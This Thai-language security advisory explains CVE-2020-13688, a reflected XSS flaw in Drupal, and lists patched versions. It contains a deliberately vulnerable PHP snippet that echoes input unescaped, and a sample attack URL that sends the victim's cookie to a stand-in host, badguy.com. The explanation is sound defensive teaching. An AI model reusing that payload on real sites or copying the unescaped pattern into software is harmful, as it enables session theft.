เมื่อวันที่ 11 มิถุนายน 2564 บริษัท Drupal ได้ออกมาประกาศ หัวข้อ Security advisories ถึงช่องโหว่ Cross-site Scripting (XSS) โดยมีระดับความรุนแรงจาก NIST Common Misuse Scoring System (NISTIR 7864) อยู่ที่ระดับ Critical และมีคะแนนความรุนแรงสูงถึง 15/25 คะแนน

ช่องโหว่ Cross-site Scripting (XSS) คือช่องโหว่ภายในเว็บแอปพลิเคชันที่ผู้ไม่หวังดีสามารถเขียน JavaScript ให้ทำงานภายใต้ Domain ได้ เนื่องจาก JavaScript สามารถถูกเขียนและใช้งานร่วมกับหน้า เว็บ HTML และมีความสามารถในการเข้าถึงและควบคุม Web Browser ทำให้ผู้ไม่หวังดีสามารถแทรก JavaScript เพื่อส่งไปโจมตีได้นั่นเอง

CVE-2020-13688 นับว่าเป็น Cross-site Scripting (XSS) ประเภท Reflected XSS ซึ่งเป็น ประเภทที่พบบ่อยที่สุด โดยหลักการทำงานของการโจมตีนี้คือผู้ใช้งานจะทำการส่ง JavaScript ผ่านทางช่องรับข้อมูล หรือ URL เช่น

<?php

$keyword = $_GET[‘keyword’];

echo “Search Keyword:”. $keyword;

doSomeSearch($keyword);

?>

ตัวอย่างด้านบนเป็นซอร์สโค้ด PHP ที่รับ Keyword แบบ GET มาจาก URL เพื่อทำการค้นหาข้อมูล ซึ่งเป็นรูปแบบที่พบได้บ่อยตามเว็บไซต์ต่าง ๆ การที่เว็บแอปพลิเคชันทำการแสดง Keyword ที่ได้รับมาจากผู้ใช้งาน โดยไม่ได้ทำการตรวจสอบ Keyword ก่อนเป็นสาเหตุให้เกิดช่องโหว่ Reflected XSS

ผู้ไม่หวังดีสามารถสร้าง URL ที่มีการแทรก JavaScript แล้วส่งไปให้กับเป้าหมาย เมื่อผู้ใช้งานที่ตกเป็นเป้าหมายกด Link ดังกล่าวเขาก็จะถูกควบคุม Web Browser โดย JavaScript ที่แทรกมาใน URL เช่น การโดน Redirect ไปเว็บไซต์ของผู้ไม่หวังดีพร้อมทั้งส่ง Web cookie ไปด้วย

ตัวอย่าง Link ที่ผู้ไม่หวังดีสร้างเพื่อหลอกเหยื่อ

http://www.someweb.com/search.php?keyword=<script>window.location=’http://www.badguy.com?victim_cookie=’ + document.cookie;</script

ช่องโหว่ในครั้งนี้เกิดขึ้นในแพลทฟอร์มที่ชื่อว่า Drupal ซึ่งเป็นแพลทฟอร์ม Content Management System (CMS) สามารถสร้าง Content ที่มีความซับซ้อน สามารถเพิ่ม Scale ได้ง่ายไปจนกระทั่งเป็นเว็บไซต์ระดับ Enterprise และ สร้างเว็บไซต์หลาย ภาษา และยังรองรับกับอุปกรณ์ต่างๆ ได้หลากหลาย ทั้ง PC, Mobile, Tablet

คำแนะนำในการป้องกัน

ติดตั้ง Drupal เวอร์ชั่นล่าสุด

  • หากเป็นเวอร์ชั่น Drupal 8.8.x ให้ติดตั้งเวอร์ชั่น Drupal 8.8.10.
  • หากเป็นเวอร์ชั่น Drupal 8.9.x, ให้ติดตั้งเวอร์ชั่น Drupal 8.9.6.
  • หากเป็นเวอร์ชั่น Drupal 9.0.x, ให้ติดตั้งเวอร์ชั่น Drupal 9.0.6
  • หากเป็นเวอร์ชั่น Drupal 8.7.x หรือเวอร์ชั่นที่เก่ากว่า, ให้ติดตั้งเวอร์ชั่น Drupal 8.8.10

หมายเหตุ : ปัจจุบันเวอร์ชั่น Drupal 8 ถึง 8.8.x ไม่มีการอัปเดตหรือแก้ไขช่องโหว่ใดๆ ต่อไปแล้ว

เอกสารอ้างอิง

https://www.drupal.org/drupal-security-team/security-risk-levels-defined https://www.drupal.org/sa-core-2020-009

https://nvd.nist.gov/vuln/detail/CVE-2020-13688